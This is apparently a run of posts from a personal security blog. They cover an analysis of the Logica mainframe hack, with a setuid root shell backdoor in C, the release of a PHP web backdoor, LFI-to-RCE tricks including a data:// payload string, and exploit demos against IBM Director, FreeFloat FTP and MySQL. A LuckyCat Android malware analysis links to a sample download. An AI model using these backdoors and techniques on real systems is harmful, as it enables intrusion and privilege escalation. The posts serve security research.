A tale of two mainframes

Today, I acquired a copy of a report on anakata’s alleged hacking of Logica. You, too, can find a copy of it in PDF form here.
There’s a number of interesting things in this report, and I figured I would take the time to disassemble them and give a little bit of analysis on each.

The first interesting thing, which starts on the bottom of page 36, is the vast number of IPs from which the attackers came from. Out of curiosity, I did a little investigation on the boxes involved in the attacks, the jumpboxes, if you will.
Now, one of these is pretty interesting.
124.248.187.225 and 27.109.118.33 are located in Cambodia. This implies that, if it WAS anakata, he presumably just compromised wireless routers in his area and used those to launch the attacks, or else was too lazy to protect himself.
93.186.170.54 belongs to a VPS company.
The others, bar one, are all residential ranges. I took a look at them, and nothing particularly struck my fancy about them, however, they did possess dreamboxes and/or some rather esoteric webservers, so my guess would be either default credentials or really, really bad code led to their compromises.
Now, what grabs my attention is 202.120.189.223, and here is why:
This was a z/OS mainframe belonging to Tongji University in China, one of the most respected universities in the country (although it is now offline). So, this brings the total number of hacked mainframes up to 3.

I’m just speculating here, but I would imagine that owing to the difficulty in transferring and working with files from UNIX to z/OS (even with Unix System Services and FTP), that Chinese mainframe probably existed as both storage for the tools used in the Logica hack, and as a development environment. I’m frankly very curious as to how, exactly, these mainframes were so easily broken into, but I have some suspicions.
RACF, which is one of two competing “user management systems” for z/OS (the other being ACF2), has a number of interesting… quirks, including a limit on password length (8 characters), and the fact that the superuser account shipped by default cannot be completely removed; trying to attempt so may seem successful, but will result in it being quietly restored later. I have a few other theories, including the possibility of credential reuse and easily enumerated accounts (RACF conveniently tells you if a username doesn’t exist on the system), but unfortunately most of these aren’t concrete. Additionally, the main methods of egress seem to have been FTP and SSH, with little to no login failures reported, in which case it is worth assuming that the credentials may have been gathered from elsewhere, ie a compromised webserver.
Anyway, as I said, this is just conjecture, and not solid facts.

Another interesting thing that is worth pointing out is the nature of the majority of the backdoor tools. Take a look at the following code:

#include <stdio.h>
#include <unistd.h>
int main(int argc, char *argv[])
{
setuid(0);
setgid(0);
setgroups(0, NULL);
execl("/bin/sh", "sh", NULL);
}

That’s incredibly, incredibly simple C. I’m not a C programmer, and even I could write that. But there’s a wonderful elegance about it. Why waste time with a tremendously technical backdoor tool when the simplest thing, a setuid wrapper for a shell, works just as well?
That said, there are also far more technical and clever tools deployed, including one written in Z/arch HLasm. Dabbling in C, assembly, and other languages seems rather adventurous, so, with the warning that it’s just speculation, I’d imagine that this was a group of people familiar with mainframe development, not just one developer.
The other tools, go.rx and kurwa, are interesting, too. Based on the strings shown from them, they’re probably rexx scripts (rexx is the equivalent of Perl on UNIX). If the giant /* REXX */ didn’t inform you. What is interesting is that they are apparently exploiting a previously unknown privilege escalation vulnerability, as well as adding yet another language to the list used.
There are also less technical backdoors, for example, changing SSH keys to ensure access later, and altering inetd.conf to accomplish the same thing.

So, now that we’ve taken a look at this, I’d like to comment on what seems, to me, to be paradoxical and/or stupid.
There are only two mainframes, yet a fairly bewildering range of techniques was deployed, with tools written in at least three different programming languages. This right here is terrible opsec, and a terrible waste. Adding multiple backdoors is risky, because you can’t gain MORE access; once you’ve got a backdoor in place you’ve got a backdoor, but you’re leaving more things around that a curious system administrator might stumble upon. As well as that, the more varied the tools and techniques, the more obvious it’s a large and diverse group. It would have been wiser to agree on a list of public tools and simple code that could have been easily ported to z/OS. It just seems weird that everyone was deploying their own toolkit; if these were made specifically for this attack, that’s quite an amount of time to spend.

Still, it’s a fascinating story. Mainframe security doesn’t get nearly enough coverage, and IBM’s z/OS has survived through a lack of scrutiny; security through obscurity.

Tool Release: phpkit 1.0 Web Backdoor

This is the (about bloody time too) release of the “PHPKit” PHP backdooring tool I was working on in my free time over the past while.

phpkit

phpkit

While not as advanced as “proper” web backdoors such as “weevely”, or “webhandler”, I feel PHPkit is something “interesting” to say the least.

Unlike most PHP backdoors, phpkit’s trojan contains no unusual function calls like “System” or “eval”. The only things it does are an ini_set and “include”. All “suspicious” PHP calls are made at runtime in-memory :D
This, I feel, makes it have a far smaller footprint on the target server. All payloads are sent as raw PHP in raw POST requests, where php://input passes them to the “include” function. It uses ini_set to attempt to enable allow_url_include if such is disabled, but I am working on a better workaround at the moment than this.
Likely something to do with fopen and suchlike… Will figure it out for the next version ;)

I actually got the idea to write this from when I was writing an exploit for the PHP-CGI bug, as shown here: http://insecurety.net/?p=705

This tools “shell” is somewhat rudimentary, in that it (unlike Weevely), does not store CWD, etc. It simply executes commands, which is what I designed it to do. It does, however, have a rather nice file upload stager, which I was rather happy with.
It is reasonably reliable for an experiment, and certainly is interesting in that the evil code is ran entirely in memory ;)

Anyways, enough talking about how awesome it is (it really is not that awesome :( ), time for some demos and useage.

So, obviously you have placed odd.php on the target server somewhere, somehow. What next?

Well, the only mandatory argument is –url=’URL’, where the URL is the URL to the odd.php file (or whatever you called it). By default, the tool will attempt code execution and pop you a shell if possible.
If not possible, it simply exits.

The –mode operator allows you to choose what mode you want to use. By default, the “SHELL” mode is chosen, however “UPLOAD” is another option. If you choose “UPLOAD”, you must specify a local and remote file.
To specify the local file (File to upload), use –lfile=”PATH TO FILE”
To specify where to write the file, use –rfile=”PATH TO PLACE FILE”

This should upload the file cleanly and rapidly, allowing you to move on with the pwning of things.

Here is a screenshot of it in shell mode

phpkit shell mode

Shell Mode

And here is a screenshot of file uploading.

phpkit upload mode

phpkit upload mode

Well, that’s all for now. As you can see, it is more of an experiment than a real software by any stretch of the imagination, however, if you find it useful let me know :)

You may download it here: phpkit-1.0.tar.gz :)

Using PHP’s data:// stream and File Inclusion to execute code

This is a reasonably old remote code execution trick that I was actually unaware of until recently, when I stumbled across it by accident. I have been heavily researching various ways to go from a file inclusion bug to a remote code execution bug, and this one really got me interested.

As we previously mentioned in the I expect:// a shell post, you can use certain PHP streams to execute code via a file inclusion vulnerability. This one does not require any PHP extensions to be installed, unlike the expect:// trick, and relies solely on allow_url_include to be enabled, which sadly is becoming a rarity these days.

How this works is simple. PHP has a data:// stream, which can decode and accept data. If you insert some PHP code into this stream and include() it, the code will be executed. Rather simple, and rather effective too. I will cover php://input in a follow up post, and then post my findings on abusing FindFirstFile.

Essentially, instead of including /etc/passwd or a remote file, you simply include the following. data://text/plain;base64,PAYLOAD_GOES_HERE
Where the payload is base64 encoded PHP code to be executed. I choose to base64 encode the payload to avoid some problems I ran into with whitespace and longer payloads.

Now, obviously this would be no fun without a simple proof of concept tool to demonstrate the vulnerability. The following tool is under serious redevelopment at the moment, so it only spawns a bind shell at the moment. Next version will offer several payloads (I am working on a generic payload library for this kind of thing).

Data:// shell to bindshell :)

You can download the current version of the tool here: PHP data include exploit

I will update that code later, might do a video once there is something worth watching.

CTF365.

So, it takes quite something to get me to be “Extremely excited” about a thing. However, when I heard about “CTF365″, I was pretty much like a small child on Christmas.
CTF365 is essentially a large scale, non stop, team based Capture The Flag event. You form teams, (and alliances of teams), and pwn the bajesus out of eachother. Points are awarded for each enemy team’s server you own, and I presume you lose points if you get owned. Essentially, it is “war”.

The reason this was so exciting to me is simple. It is an excuse to pit myself against other hackers, work with a great team of mates, and legally pop some boxes. And the CTF365 guys host the whole platform.

The scenario is the whole “Global Cyberwar” thing, with teams representing “Countries” (Each team having a server they must defend). To keep things fair, there is a minimum amount of “required” attack surface on each server, to keep everything at a sporting chance. Essentially meaning you have to cover both incident response/blue team stuff, as well as red team/offensive stuff.

For those of you who had been reading about CDCC and such in the US, but who, well, are not in the US, and want a chance to play something similar, this is probably your best chance.

I will be playing, it launches “sometime” in 2013. Hopefully soon… So why not check it out? (apologies for using my referrer, I want early access … because … pwning shit legally!) CTF 365 – Sign Up!

CVE-2009-0880 IBM System Director Remote SYSTEM Exploit Demo.

IBM Systems Director has a Web Service listening on 6988/TCP. This service, the “CIM Server”, in versions prior to 5.20.3 SP2 is vulnerable to a directory traversal vulnerability, permitting loading of local DLL files and their execution. This is assigned CVE-2009-0880.

Executing Local DLL files? Not really all that interesting. However, then our good friend @kingcope decided to take a look at this bug, and suddenly, it became VERY interesting.

Because of how Windows treats files, you can not only load a LOCAL DLL file, but you can load a REMOTE DLL file, if said DLL file is made available over a WebDAV share. Essentially turning “Execute some file on the remote box” into “Remote code execution with SYSTEM privileges”.

How this exploit works, is it sends a specially crafted HTTP request to the CIM Listener service, telling it that it should totally load \hacker\hacker.dll because it is definately a legit DLL file to execute.

This software, being inherently silly, decides “Sure! Of course I will load this DLL file!” and loads the remote DLL file, executing whatever code is at its initialization routine (your reverse shell mayhaps?).

To make the whole party even more fun, the code is executed as SYSTEM, and no authentication whatsoever is needed to exploit this vulnerability.

The original exploit by Kingcope may be found here: http://isowarez.de/Exploits/IBMDirector.txt however he has disabled access to “wootwoot” DLL file, so I could not use his exploit code in the following demo. I ended up using the Metasploit module which was released shortly after his exploit came out.

What I find most interesting is that no one before Kingcope ever though about using a Webdav share to serve up a remotely loaded DLL. Perhaps now people will have to revise old bugs and write new, super effective exploits?

Without further ado, here is the demo!

Local File Inclusion to RCE, abusing tempfiles and phpinfo()

“If you want to win a race condition, you best cheat”.

The following article demonstrates a fascinating method of exploiting Local File Inclusion vulnerabilities first thought up of by the guy who runs Gynvael.Coldwind.pl . It is further documented at Insomnia Security

To start, when you are exploiting a Local File Inclusion, in order to gain remote code execution you must “write” some PHP code somewhere on disc that you can “include”. Normally this means injecting into logfiles, or the /proc/self/environ interface.
In the event you cannot locate the logfiles, or access them, most people simply give up and claim “Yep, it is unexploitable”.
This is not true.

When you upload files via HTTP POST to a webserver running PHP, during the upload it creates a tempfile for the files data, normally in /tmp. This file is “randomly named” (I do not trust the PRNG PHP uses), and is stored for the duration of the upload.

Now, it just so happens that it will create this file irrespective of whether or not you are legitimately uploading (i.e. the webapp is accepting an upload) or not, and the file is deleted when the “upload” finishes.

Because these files are randomly named, and there are no wildcards that we can use on Linux (more on this later!), you might think “So, how does this help me at all?”.

Normally, you would be right. Unless you find a flaw in the PRNG that allows you to predict the “dummy name” of the file, this is not so useful to you. What we need is an information disclosure bug that displays the PHP variables at that particular time…

… Enter PHPinfo(). The phpinfo() call, often found in /phpinfo.php or other such files (often forgotten and not removed on webservers), displays the PHP variables as they are at that point in time… Including the “Dummy Filename” that is currently in use.

So, if we are to send a file upload, containing our evil PHP code, and then include() it (via the LFI), using the path given to us by the PHPinfo page, we gain code execution on the remote server.
Simple?

Yes, but not quite.
The file exists there for mere fractions of a second, so we lengthen the duration of the upload (we upload to the phpinfo file) by padding it with trash data. The insomniasec paper (linked at bottom) explains this better than I will, so I advise reading it! This is a race condition, so to further enhance our chances, we use multiple threads and multiple attempts. One of them will succeed, normally within short order (averages at 30 seconds, see the demo video!). If you have LFI and a phpinfo() page, you WILL gain code execution on the server.

The PHP code you “upload” and execute via include() effectively acts as a “Dropper”, dropping some malicious code that is stored in /tmp with a filename you have set. You then simply include() this dropped file via the LFI bug to execute code, as per normal LFI.

The InsomniaSec guys released, along with their paper, a demo script to show how it works. imax, the mantainer of Fimap (which I also develop) released a Fimap plugin that exploits this vulnerability, and that is what I am about to demonstrate. imax’s code drops a file named “eggshell” which is essentially a stripped down version of the Fimap payload.

The Fimap module is extremely reliable, giving me shells in short order. I have never had an issue with it to date, and normally on remote boxes it takes a minute or so to pop a shell.

Demo Video

Next week I will be releasing a demo of doing this against Windows targets without the lovely PHPinfo bug. A much “truer” race condition :)

Whitepaper (InsomniaSec)

Exploit Demo – FreeFloatFTPd Remote SYSTEM. Oppa Stuxnet Style!

Ever since Kingcope released the “Stuxnet Style” MySQL exploit using .mof files to execute dropped binaries, there has been a rash of similar exploits cropping up – and I fully expect many more to come. This one is one of the interesting ones, as it demonstrates something extremely interesting. How improper FTP file access privileges can lead to trivial remote code execution.

This exploit works in an extraordinarily simple manner. The FreeFloat FTP Server is rife with security flaws. Not least the fact it has no authentication whatsoever, and drops one right into C:\ with privileges to write files as the SYSTEM user.

It uploads the binary (Meterpreter in the MSF exploit) to System32, then plants a .MOF file to execute it in the System32\wbem\mof\ directory, allowing Windoes Management Interface to execute it as SYSTEM – the same as the other exploits.

Essentially, you pop a SYSTEM shell within less than a minute.

I expect that future weeks will show us more and more “Stuxnet Style” exploits as this technique becomes more trendy, hence, “Oppa Stuxnet Style!”.

Without further ado, here is the video!

 

Exploit Demo – Windows MySQL Remote System (Post Auth) RCE

So, last weekend we got to see @kingcope release approximately a dozen new exploits, some scanners, and in general, a shitload of incredibly awesome code. Some serious headaches for systems administrators in general. Grab the exploits from

Now, over the past week in my free time (it is exam season for me, hence no updates in a while, but after next week its back to work :D ) I have been fooling about with these exploits. As usual, Kingcope delivered some quality stuff.

This exploit in particular is not quite “new” per se, it is a fascinating abuse of FILE privileges in MySQL. Unless I am mistaken, the SQLmap guys implemented this as well. However, I never had much luck at all with it. This, on the other hand, is an extremely reliable exploit.

How it works is rather simple. It creates a table in the target MySQL database (Spearhead), and uploads a DLL file as a binary blob into said table. It then uses “INTO DUMPFILE” to dump the payload out into the MySQL Plugin directory. The payload being a DLL file which contains code that spawns a reverse shell.

Finally, it creates a User Defined Function, “mysqljackpot”, which loads said DLL file and causes the reverse shell code to be executed under the context of the MySQL process, which is normally the SYSTEM user. It also drops the created databases to clear some evidence.

Very clever way of popping a box, however I do imagine it leaving a lot of logs behind… And I am investigating doing this via SQL injection at the moment (I can see no reason why not!).

Anyways, thats how this works! Here is the video!

 

Quick Post: Initial Analysis of “LuckyCat” APT Android Malware

First off, I have not been writing as often as I like lately. Have a bunch of nice things half written, and no time at present to finish the damn things due to college. Anyway, on with the show!

So I was browsing the Contagio Mobile Malware Dump and came across this: http://contagiominidump.blogspot.ie/2012/08/luckycata-android-apt-malware.html#more

I was intrigued. The “LuckyCat” APT people had come on my radar before for their elegant use of incredibly low-tech methods (old exploits, very simplistic malware).

So, I decided to dissect this thing. Using Dex2Jar, Unzip and JD-GUI, I was able to quickly reduce the .apk to its source code (Java, ugh) and poke around.

Trend Micro had previously shown it seemed to have file manager functionality, remote command execution, and possibly phonebook theft features. So I decided to go look at its C&C.

I eventually found the following code in the “CMainControl.java” class:
private String strReIP = “greenfuns.3322.org”;
private String strRePort = “54321″;

Now, this lead me to think “So, it connects to that host on that port… Interesting”.

An nslookup shows this no longer seems to exist:
$ nslookup greenfuns.3322.org
Server:        192.168.1.254
Address:    192.168.1.254#53

Non-authoritative answer:
Name:    greenfuns.3322.org
Address: 10.0.0.101

3322.org is, unless I am mistaken, a dynamic DNS provider.  A whois shows it to be China based, as expected.

While going over the source, I noticed a few strings with Chinese characters in them, further giving me the opinion this is another Chinese APT type threat thingy.

I did not, unfortunately, have time for anymore screwing with this, so without further ado, here is the download link to the malware and decompiled source. Password for zip files is “infected”, where needed.

https://www.dropbox.com/s/bbj2y6w9zku10vw/LuckyCat-Android-Malware.zip

 

0x4641494c – Fail Patching and Symantec Remote Root Redux!

Those of you who have been reading this for a while, or who are familiar with my work, might remember this: Symantec Web Gateway Remote Root, a little PoC I knocked together based on an exploit Muts from Offensive Security wrote. His PoC, I felt, was a tad unuseable, so I made an attempt at reinventing it :)

So, naturally, Symantec patched this terrible vulnerability. And everyone breathed a sigh of relief.

Or so they thought! Muts revisited it post-patch, and simply found another way to exploit the EXACT SAME FLAW. And when he released the PoC for his “Exploit: Reloaded”, I like to think he took my advice and wrote a better ‘sploit, as his new one is very similar to my “more weaponized” PoC. A bit neater too… Is this a game of one-upmanship? ;)

Without further ado, here is the exploit: Muts Reloaded!

Anyways, I better go off and finish that demo on Cryptfuscate I promised I would write :)
~infodox